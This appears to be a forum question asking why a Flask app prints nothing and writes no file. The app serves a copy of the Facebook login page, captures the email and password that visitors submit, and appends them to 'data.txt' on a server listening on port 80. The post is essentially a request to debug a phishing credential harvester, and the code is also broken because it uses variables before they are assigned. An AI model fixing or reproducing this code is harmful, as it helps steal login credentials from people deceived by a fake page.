can't print anything in flask when using facebook login page as template

Question

I want to print the Password and the Email with 'POST' method and save it into 'data.txt' file once the user click on Login button But when i run the Code, it doesn't print or create the text . i tried printing simple text but it doesnt work i dont have any idea what's the problem and thank you. Here is the code :

from flask import Flask, render_template, request
import sys

app = Flask(__name__)
@app.route('/')

def index():
    return render_template("index.html")

@app.route('/', methods=['POST'])
def index_post():
    data = f'Email : {Email} /n Password : {Password}'

    Email = 'email : ' + request.form["email"]
    Password = 'password : ' + request.form["pass"]
    data = f'Email : {Email} /n Password : {Password}'

    print(data, file=sys.stderr)

    with open('data.txt', 'a') as f:
        f.write(data)

    return render_template("index.html")

app.run(host='0.0.0.0', port ='80')